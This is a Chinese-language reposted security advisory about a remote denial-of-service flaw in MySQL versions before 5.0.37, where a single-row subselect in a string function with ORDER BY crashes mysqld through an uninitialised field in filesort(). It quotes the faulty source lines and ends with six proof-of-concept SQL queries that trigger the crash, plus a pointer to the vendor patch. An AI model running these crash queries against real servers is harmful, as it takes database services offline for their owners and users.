程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> 關於MYSQL數據庫 >> MySQL單行子選擇遠程拒絕服務漏洞

MySQL單行子選擇遠程拒絕服務漏洞

編輯:關於MYSQL數據庫

  受影響系統:

  MySQL AB MySQL < 5.0.37

  不受影響系統:

  MySQL AB MySQL 5.0.37

  描述:

  BUGTRAQ ID: 22900

  MySQL是一款使用非常廣泛的開放源代碼關系數據庫系統,擁有各種平台的運行版本。MySQL在處理特定畸形請求時存在漏洞,遠程攻擊者可能利用此漏洞在導致MySQL進程崩潰。

  如果MySQL用戶在字符串函數中使用了子選擇的話,就會調用Item_singlerow_subselect::val_str()。由於無需分類整理單行子選擇的結果,因此不會初始化所分配結構st_table中的某些字段,具體來講是sort->io_cache字段。但如果在查詢中使用了 ORDER BY,就會對表格運行filesort(),filesort()中的錯誤處理例程在引用未初始化字段值出現段訪問錯誤:

  libmysqld/filesort.cc:

  111FILESORT_INFOtable_sort;
  (...)
  117memcpy(&table_sort,&table->sort,sizeof(FILESORT_INFO));
  120outfile=table_sort.io_cache;
  (..)
  269err:
  (..)
  276if(my_b_inited(outfile))

  include/my_sys.h:

  503 #define my_b_inited(info) (info)->buffer

  這可能會觸發空指針引用,導致mysqld崩潰。

  <*來源:S.Streichsbier B.Mueller 鏈接:http://www.sec-consult.com/284.html*>

  測試方法:

  (警告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!)

  SELECTASCII((SELECTtable_nameFROMinformation_schema.columnsORDERBY1));
  SELECTTRIM(LEADINGFROM(SELECTtable_nameFROMinformation_schema.columnsORDERBY1));
  SELECTSUBSTR((SELECTtable_nameFROMinformation_schema.tablesORDERBY1),1,1);
  SELECTUPPER((SELECTtable_nameFROMinformation_schema.tablesORDERBY1));
  SELECTRTRIM((SELECTtable_nameFROMinformation_schema.tablesORDERBY1));
  SELECTRPAD((SELECTtable_nameFROMinformation_schema.tablesORDERBY1),1,'lol');

  建議:

  廠商補丁:

  目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載:

  http://dev.mysql.com/downloads/mysql/5.0.html#downloads

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved